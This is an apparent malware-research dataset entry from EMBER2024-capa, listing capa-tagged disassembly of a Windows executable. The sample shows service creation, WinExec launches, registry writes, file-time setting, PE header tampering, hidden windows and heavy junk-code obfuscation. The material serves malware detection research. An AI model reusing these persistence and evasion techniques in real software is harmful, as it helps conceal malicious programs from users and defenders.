joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jo 0x4014ca
push cx
mov ch, 0xe0
pop cx
jno 0x4014ca
mov esp, 0x1e26fa6d
invalid
call fcn.00401680
mov dword [0x41d724], eax
push ecx
push esi
and ecx, 0x4ed
dec esi
xor ecx, 0x19e7
add si, 0x438f
xor cx, 0x2688
add ch, dh
test ch, 0x5b
pop esi
pop ecx
mov eax, dword [ebp + 8]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp + 8], ebx
jne 0x401523
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
xor ax, bx
pop eax
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push 0
push ecx
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401548
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push edi
push esi
inc si
cmp edi, eax
pop esi
pop edi
pop eax
mov eax, dword [0x41d724]
test eax, eax
je 0x40156e
push ebx
call fcn.004013d0
add esp, 4
neg eax
sbb eax, eax
inc eax
mov dword [0x41d724], eax
push bx
push si
push edi
or edi, 0x3f3c
and si, cx
pop edi
pop si
pop bx
mov esi, dword [ebp + 8]
push esi
push 0
call fcn.00403e20
add esp, 8
push dx
push eax
or ax, 0x4297
and ax, 0x45c0
test esi, eax
test dh, al
cmp dl, 0x51
pop eax
pop dx
mov eax, dword [0x41d724]
test eax, eax
jne 0x4015b4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4015c0
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push ebx
mov dword [ebp - 0xc], 0x104
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x218]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x4015f4
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0x104
mov dword [ebp - 8], 0x104
push ecx
push edx
and cx, si
cmp dx, si
xor dl, bh
or dl, 0x67
pop edx
pop ecx
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
push edx
lea ecx, [ebp - 0x31c]
push eax
lea edx, [ebp - 4]
push ecx
lea eax, [ebp - 0x114]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x401643
pop ebx
mov esp, ebp
pop ebp
ret
push eax
test edx, eax
cmp eax, ecx
pop eax
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x114]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidA]
test eax, eax
jne 0x401663
pop ebx
mov esp, ebp
pop ebp
ret
push eax
cmp al, bl
inc ah
test si, ax
test esi, eax
pop eax
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401730
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, 1
push dx
push eax
or ax, 0x4297
and ax, 0x45c0
test esi, eax
test dh, al
cmp dl, 0x51
pop eax
pop dx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401775
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push eax
push edx
push esi
test si, 0x2af8
xor edx, ecx
add ax, bx
or ax, 0x11a9
pop esi
pop edx
pop eax
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp - 4]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4017ab
xor edi, edi
push eax
push ecx
inc al
sub ah, cl
dec eax
cmp cl, cl
cmp ch, dh
test ch, 0
or cx, bx
test ah, 0x35
test ax, 0x637b
pop ecx
pop eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401c90
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [0x41d728]
sub esp, 0x82c
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x401cac
xor eax, eax
pop ebx
add esp, 0x82c
ret
xor eax, eax
push ebp
mov dword [esp + 9], eax
push esi
mov dword [esp + 0x11], eax
push edi
mov dword [esp + 0x19], eax
mov ecx, 0x40
mov word [esp + 0x1d], ax
lea edi, [esp + 0x2d]
mov byte [esp + 0x1f], al
mov byte [esp + 0x2c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x131]
mov byte [esp + 0x130], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x43d]
mov byte [esp + 0x43c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x338]
push 0x104
push ecx
mov byte [esp + 0x18], bl
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x130]
push 0x104
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
push 6
push eax
call fcn.00403650
add esp, 8
lea ecx, [esp + 0x10]
lea edx, [esp + 0x338]
lea eax, [esp + 0x234]
push ecx
push edx
push 0x411528
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov dword [esp + 0x20], 0x4115a0
mov dword [esp + 0x24], 0x4115a4
mov dword [esp + 0x28], 0x4115b0
lea edx, [esp + 0x20]
mov ebp, 3
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x2c]
repne scasb al, byte es:[edi]
mov edi, dword [edx]
add edx, 4
not ecx
dec ecx
mov byte [esp + ecx + 0x2c], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
dec ebp
rep movsb byte es:[edi], byte [esi]
jne 0x401d8a
movsx ecx, byte [esp + 0x338]
lea edx, [esp + 0x130]
push ecx
lea eax, [esp + 0x134]
push edx
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x448]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x450]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x4115c8
mov byte [esp + ecx + 0x450], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x450]
push ecx
push eax
lea ecx, [esp + 0x250]
push 0x411524
push ecx
call fcn.00403730
add esp, 0x24
test eax, eax
pop edi
pop esi
pop ebp
jne 0x401e7c
pop ebx
add esp, 0x82c
ret
lea edx, [esp + 0x228]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, 1
pop ebx
add esp, 0x82c
ret
Function at 0x401f40
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
xor eax, eax
mov ecx, 0x40
lea edi, [ebp - 0x10b]
mov dword [ebp - 8], eax
mov byte [ebp - 0x10c], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push edx
push bx
cmp edx, esi
inc dl
cmp dh, cl
mov edx, 0x5a9c
test dx, bx
test edx, 0x5a77
inc bl
and dh, 0x55
xor bl, dh
pop bx
pop edx
call fcn.00403190
jp 0x401f97
push cx
mov cl, 0x21
pop cx
jnp 0x401f97
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 4], 0
call fcn.00401230
mov edi, eax
call fcn.00401230
mov ebx, eax
call fcn.00401230
push edi
mov edi, dword [ebp + 0x10]
push edi
mov esi, eax
call fcn.00403650
push ebx
mov ebx, dword [ebp + 8]
push ebx
call fcn.00403650
mov ecx, dword [ebp + 0xc]
push esi
push ecx
call fcn.00403650
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x18
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x314]
push edi
push edx
push 0x411268
push eax
call esi
lea ecx, [ebp - 0x314]
push ecx
call fcn.00402f50
add esp, 0x14
test eax, eax
je 0x40206a
lea edx, [ebp - 0x10c]
push ebx
push edx
lea eax, [ebp - 0x210]
push 0x411274
push eax
call esi
lea ecx, [ebp - 0x210]
push ecx
call fcn.00402f50
add esp, 0x14
test eax, eax
je 0x40206a
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push edx
push eax
lea ecx, [ebp - 0x210]
push 0x411274
push ecx
call esi
lea edx, [ebp - 0x210]
push edx
call fcn.00402f50
add esp, 0x14
test eax, eax
jne 0x40207f
mov eax, dword [ebp - 4]
inc eax
cmp eax, 3
mov dword [ebp - 4], eax
jl 0x401fb0
mov esi, dword [ebp - 8]
jmp 0x402084
mov esi, 1
mov eax, dword [ebp + 0x14]
push 4
push eax
call fcn.00403650
add esp, 8
xor eax, eax
test esi, esi
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402450
Capabilities:
Query or enumerate registry value

Disassembly:
add byte [edx], ch
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], 0
mov dword [ebp - 4], 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
jbe 0x402484
push esi
pop esi
ja 0x402484
pop ebx
hlt
lea eax, [ebp - 4]
lea ecx, [ebp - 0x10c]
push eax
lea edx, [ebp - 8]
push ecx
push edx
push 0x4116cc
push 0x4116a4
push SysStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
pop edi
je 0x4024b3
xor eax, eax
mov esp, ebp
pop ebp
ret
jle 0x4024c5
mov ax, ax
mov cx, cx
jg 0x4024c5
aaa
jecxz 0x402441
hlt
lea eax, [ebp - 0x10c]
push 0x2e
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
jne 0x4024df
mov esp, ebp
pop ebp
ret
jo 0x402502
push cx
mov ch, 0xe0
pop cx
jno 0x402502
mov esp, 0x1e26fa6d
invalid
lea ecx, [ebp - 0x10c]
mov byte [eax], 0
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
cmp eax, 6
jne 0x402523
mov eax, 1
mov esp, ebp
pop ebp
ret
xor edx, edx
cmp eax, 7
sete dl
mov eax, edx
mov esp, ebp
pop ebp
ret
Function at 0x402eb0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov dword [ebp - 4], 0
push eax
cmp al, bl
inc ah
test si, ax
test esi, eax
pop eax
lea eax, [ebp - 4]
push eax
call fcn.004015c0
add esp, 4
test eax, eax
jne 0x402ede
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
mov eax, dword [ebp - 4]
test eax, eax
jne 0x402f09
xor eax, eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push edx
test bl, 0x3e
sub dh, cl
mov dh, ah
pop edx
pop ebx
mov edx, dword [ebp - 4]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push 1
push 0x41145c
push 0x41141c
push SysStringLen
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
neg eax
sbb eax, eax
pop edi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4031e0
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
push ebx
push ebx
push edx
test bl, 0x3e
sub dh, cl
mov dh, ah
pop edx
pop ebx
mov eax, dword [ebp + 0x10]
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push 0
push 0
push eax
mov eax, dword [ebp + 0xc]
push 1
push 0
push 1
push 0xf01ff
push eax
push eax
add byte [eax + 0x50], dl
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x40321e
pop ebx
pop ebp
ret
jb 0x403237
mov di, di
nop
nop
nop
jae 0x403237
loope 0x40320d
lodsd eax, dword [esi]
mov dword [edi], esi
cdq
mov eax, dword [0x9750e2b5]
mov esi, 0x50b8ec44
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop ebx
pop ebp
ret

Function at 0x403290
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 8], 0xffffffff
call dword [0x41d718]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 4], esi
jne 0x4032c0
or eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x12c]
mov dword [ebp - 0x130], 0x128
rep stosd dword es:[edi], eax
jo 0x4032f9
push edx
mov dx, 0xbd71
pop edx
jno 0x4032f9
popal
stosd dword es:[edi], eax
retf
lea eax, [ebp - 0x130]
push eax
push esi
call dword [0x41d71c]
test eax, eax
je 0x403358
pushal
sub dl, 0x33
and dh, 0x12
popal
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x10c]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x403342
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x130]
push eax
push ecx
call dword [0x41d720]
test eax, eax
je 0x403355
jmp 0x40330b
push edx
add edx, 0x2915
sub dl, ah
pop edx
mov edx, dword [ebp - 0x128]
mov dword [ebp - 8], edx
mov esi, dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403730
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
mov dword [ebp + 0xc], esi
jne 0x403755
pop edi
pop esi
pop ebx
pop ebp
ret
push edx
push bx
cmp edx, esi
inc dl
cmp dh, cl
mov edx, 0x5a9c
test dx, bx
test edx, 0x5a77
inc bl
and dh, 0x55
xor bl, dh
pop bx
pop edx
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
push esi
push edx
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
push esi
call dword [sym.imp.MSVCRT.dll_fflush]
add esp, 4
pushal
test si, 0x3660
add si, 0x20c2
test edi, eax
popal
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x403b60
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
jl 0x403b95
push cx
mov ch, 0xcc
pop cx
jge 0x403b95
xchg esi, eax
xor esp, dword [ebx - 0x7d]
mov ebp, 0xffffff70
add eax, 0x1b80975
add byte [eax], al
add byte [ebx + 0x7cc35de5], cl
or dword [ebx - 0x49], edx
dec esp
cmp dword [ebp - 0x90], 5
jne 0x403ba7
mov eax, 1
mov esp, ebp
pop ebp
ret
jl 0x403bb2
push ebx
mov bh, 0x4c
pop ebx
jge 0x403bb2
xchg edx, eax
cmp eax, 0xff70bd83
invalid
cmp dword [ebp - 0x90], 6
jne 0x403bce
mov eax, dword [ebp - 0x8c]
test eax, eax
jne 0x403bce
mov eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x403e20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x22f]
mov byte [ebp - 0x230], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x230]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ebx
push cx
push dx
xor ch, bl
pop dx
pop cx
pop ebx
lea edi, [ebp - 0x230]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
js 0x403eb9
jns 0x403eb9
add eax, 0x41128cbf
add byte [ebx - 0x3fcc0037], al
mov edi, 0x41128c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
test eax, 0x7cbd
sub ah, bl
cmp eax, 0x2aed
add ah, 0x4d
and eax, 0x26ae
dec ax
pop eax
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x12c]
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
cmp dword [ebp + 0xc], 0xffffffff
jne 0x403f36
mov edx, dword [ebp + 8]
push edx
call fcn.00404ee0
mov ebx, eax
add esp, 4
cmp ebx, 0xffffffff
jne 0x403f39
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 4]
push eax
push edi
push esi
inc si
cmp edi, eax
pop esi
pop edi
pop eax
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x24]
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
cmp dword [ebp + 0xc], 0xffffffff
jne 0x403f63
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404b60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], dl
mov byte [ebp - 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
push edx
test bl, 0x3e
sub dh, cl
mov dh, ah
pop edx
pop ebx
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x210]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x411268
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
je 0x404be3
push ecx
mov cx, 0xec17
pop ecx
jne 0x404be3
pushfd
popfd
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
call fcn.00403370
jl 0x404c05
xchg ecx, ecx
xchg ch, ch
jge 0x404c05
fbstp tbyte [eax - 0x7ce92414]
push ebx
dec eax
daa
add dword [edx], 0x458bdf84
cld
mov eax, dword [ebp - 4]
push eax
call fcn.00404c80
jle 0x404c20
mov ax, ax
mov cx, cx
jg 0x404c20
aaa
jecxz 0x404b9c
hlt
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
lea eax, [ebp - 0x10c]
push edx
push eax
call fcn.004014a0
add esp, 0x28
test eax, eax
jne 0x404c41
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
lea ecx, [ebp - 0x10c]
push 0xffffffffffffffff
push ecx
call fcn.00403e20
add esp, 8
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404c80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
je 0x404cc5
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jb 0x404cde
push edx
mov dx, 0xecd6
pop edx
jae 0x404cde
cmc
adc eax, 0x7c8ecb0d
xor dword [esi + 0x43d1773a], 0x8b27e95e
jo 0x404d1d
mov esi, dword [eax + 0x3c]
add esi, eax
push ax
push cx
push edi
and al, dl
or ch, 0x3a
dec edi
inc edi
cmp ah, bl
xor ax, ax
cmp cl, dl
dec cl
pop edi
pop cx
pop ax
cmp dword [esi], 0x4550
je 0x404d0e
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push bx
push dx
push eax
cmp dh, 0x43
dec bl
dec bl
or bl, dh
cmp bl, 0x68
add bl, 0x3c
dec dl
dec bh
cmp eax, 0x6e32
pop eax
pop dx
pop bx
mov eax, dword [esi + 0x58]
test eax, eax
je 0x404d40
sti
push 0xfe3cc380
retf 0xcffe
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0x40
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
push ebx
add bx, ax
mov bx, 0x6602
and bh, dl
pop ebx
mov eax, dword [ebp + 8]
cmp dword [eax + 0x3c], 0x80
ja 0x404d72
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jo 0x404d95
push cx
mov ch, 0xe0
pop cx
jno 0x404d95
mov esp, 0x1e26fa6d
invalid
mov eax, dword [eax + 0x3c]
cmp eax, 0xc0
jae 0x404da5
add eax, 0xffffff80
mov dword [ebp - 4], eax
jp 0x404dbc
push si
pop si
jnp 0x404dbc
outsd dx, dword [esi]
cmp ah, byte [edx]
aas
pop esp
salc
jbe 0x404dae
sbb dword [edi + edx*2], 0xffffff85
mov dword [ecx - 0x75], eax
inc ebp
cld
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
jne 0x404dd6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
test cx, ax
inc ax
popal
mov eax, dword [ebp - 4]
xor ebx, ebx
test eax, eax
jbe 0x404e0d
push eax
push edi
push esi
inc si
cmp edi, eax
pop esi
pop edi
pop eax
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 8]
inc ebx
mov byte [ebx + eax - 1], dl
mov eax, dword [ebp - 4]
cmp ebx, eax
jb 0x404de6
jl 0x404e2e
push dx
mov dx, 0x642f
pop dx
jge 0x404e2e
out 0xc4, eax
push ds
xor dl, cl
cld
push ss
stosd dword es:[edi], eax
jo 0x404e2f
push edx
cmp bh, byte [eax]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
push ebp
or byte [ebx + 0x458bfc4d], cl
clc
lea edi, [edx + 0x80]
mov edx, ecx
mov esi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push edx
push cx
push di
or dh, 6
or cl, 0x58
xor dl, dl
inc ch
test ax, cx
dec di
mov edx, 0x33a8
and cx, di
add dx, 0x64c0
pop di
pop cx
pop edx
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404e90
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 0
push eax
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x41d72c
push 0x407010
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, eax
test ecx, ecx
jne 0x404eca
pop ebp
ret
push eax
test edx, eax
cmp eax, ecx
pop eax
push 0
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
pop ebp
ret

Function at 0x404f20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push ebx
xor ecx, ecx
push esi
test eax, eax
push edi
jle 0x404fb3
mov esi, dword [ebp + 0x10]
push dx
push eax
or ax, 0x4297
and ax, 0x45c0
test esi, eax
test dh, al
cmp dl, 0x51
pop eax
pop dx
mov bl, byte [ecx + esi]
push edi
push ax
push dx
and ax, 0x4e68
test ch, dh
mov al, 0x4d
dec dx
and dx, cx
pop dx
pop ax
pop edi
mov eax, ecx
cdq
idiv dword [ebp + 0xc]
mov eax, dword [ebp + 8]
xor bl, byte [edx + eax]
jo 0x404f95
push dx
mov dx, 0x7a78
pop dx
jno 0x404f95
insb byte es:[edi], dx
mov bl, 0xbc
ja 0x405000
fdiv qword [eax - 0x7f6a6a73]
push 0x56
mov bh, byte [ecx]
mov eax, 0x8b660d74
dec dword [ebx + 0x75db87d2]
add al, 0xc8
sbb ebx, dword [esi + 0x11]
je 0x404fa4
mov di, di
mov edx, edx
xchg ebx, ebx
jne 0x404fa4
enter 0x5e1b, 0x11
mov eax, dword [ebp + 0x14]
mov dl, al
xor dl, bl
mov byte [ecx + esi], dl
inc ecx
cmp ecx, eax
jl 0x404f36
pop edi
pop esi
pop ebx
pop ebp
ret
call 0x5dca2b39
cld